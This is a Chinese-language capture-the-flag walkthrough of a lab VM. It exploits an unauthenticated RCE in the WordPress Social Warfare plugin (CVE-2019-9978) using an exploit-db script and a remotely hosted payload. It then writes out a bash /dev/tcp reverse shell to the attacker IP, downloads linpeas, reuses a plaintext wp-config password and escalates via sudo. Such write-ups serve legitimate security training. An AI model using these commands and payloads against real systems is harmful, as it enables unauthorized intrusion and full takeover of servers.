渗透思路:
nmap扫描 ---- gobuster扫描网站目录 ---- wpscan扫描发现漏洞插件 ---- 利用wordpress插件Social Warfare的RCE漏洞getshell(无需登录)---- wordpress配置文件泄露明文密码,切换到用户takis ---- sudo su提权 ---- 查看.bash_history发现flag
环境信息:
靶机:192.168.101.87
攻击机:192.168.101.34
具体步骤:
1、nmap扫描
sudo nmap -sV -sC -p- 192.168.101.87
只扫描到TCP 22(ssh)和80(http)端口
2、wpscan扫描发现漏洞插件
浏览器访问靶机80端口,出现下图的页面,好像也没啥有用的信息
gobuster扫描网站目录,发现http://192.168.101.87/wordpress/
gobuster dir -u http://192.168.101.87 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
浏览器访问http://192.168.101.87/wordpress/时无法正确加载,直接用wpscan扫描
wpscan --url http://192.168.101.87/wordpress/ -e
扫描到用户admin,但是后续试了几个小字典用wpscan爆破admin的密码没有爆破出来,用rockyou.txt又爆破的超级超级慢,遂放弃
wpscan还扫描到plugin: social-warfare版本3.5.2
3、利用插件Social Warfare的RCE漏洞getshell(无需登录)
在exploit-db上搜索wordpress social,发现一个:WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution(WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution - PHP webapps Exploit)
点击进入,并下载exp:46794.py。但是下载下来的exp不怎么会用,发现exp中有一个github的url(GitHub - hash3liZer/CVE-2019-9978: CVE-2019-9978 - (PoC) RCE in Social WarFare Plugin (<=3.5.2)),访问后发现用法示例
按照示例在攻击机上起http服务
python2 -m SimpleHTTPServer 80
新建一个文件名为payload.txt,内容如下
<pre>system('cat /etc/passwd')</pre>
然后执行exp脚本,发现返回了/etc/passwd的内容,说明漏洞存在,且利用成功
python2 46794.py --target http://192.168.101.87/wordpress/ --payload-uri http://192.168.101.34/payload.txt
将payload.txt中执行的命令改成bash反弹shell命令
<pre>system('bash -c "exec bash -i &>/dev/tcp/192.168.101.34/8888 <&1"')</pre>
在攻击机上nc监听8888端口
nc -nlvp 8888
然后执行exp脚本,即可获得靶机www-data用户的反弹shell
python2 46794.py --target http://192.168.101.87/wordpress/ --payload-uri http://192.168.101.34/payload.txt
再在靶机shell中执行如下命令,得到tty
python -c 'import pty; pty.spawn("/bin/bash")'
进入靶机shell后,先来到/home目录下,发现只有一个用户takis的家目录,进入/home/takis后发现第一个flag:user.txt
4、wordpress配置文件泄露数据库密码,切换用户到takis
在靶机shell上找了一圈没找到提权方法,只好从攻击机上下载了linpeas.sh到靶机/tmp目录并执行
wget http://192.168.101.34/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
从执行结果中发现,/var/www/html/wordpress/wp-config.php 中明文记录了数据库用户名wp_user和密码R3&]vzhHmMn9,:-5
define( 'DB_NAME', 'wordpress_db' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );
define( 'DB_HOST', 'localhost' );
另外从本地开放了端口3306来看,数据库应该是mysql,后续尝试了用wp_user进行mysql登录,可以登录成功,但数据库中没有什么有用的信息。
尝试切换到用户takis
su - takis
密码用wp_user的数据库密码: R3&]vzhHmMn9,:-5
切换成功。
5、sudo su提权
查看takis是否可以sudo执行命令,发现其可以以任何用户的身份sudo执行任何命令
sudo -l
执行如下命令提权到root,但在/root/root.txt中并没有flag,只有一段提示:take a look into my USB
sudo su -
6、查看.bash_history发现flag
由于在/root目录下并没有USB文件夹,因此在没有别的线索的情况下尝试查看.bash_history文件,确实有所发现
cat .bash_history
下图中高亮部分显示flag应该在/usr/games/USB/root文件中
进入/usr/games/USB文件夹,确实有root文件,查看其内容,确实是flag~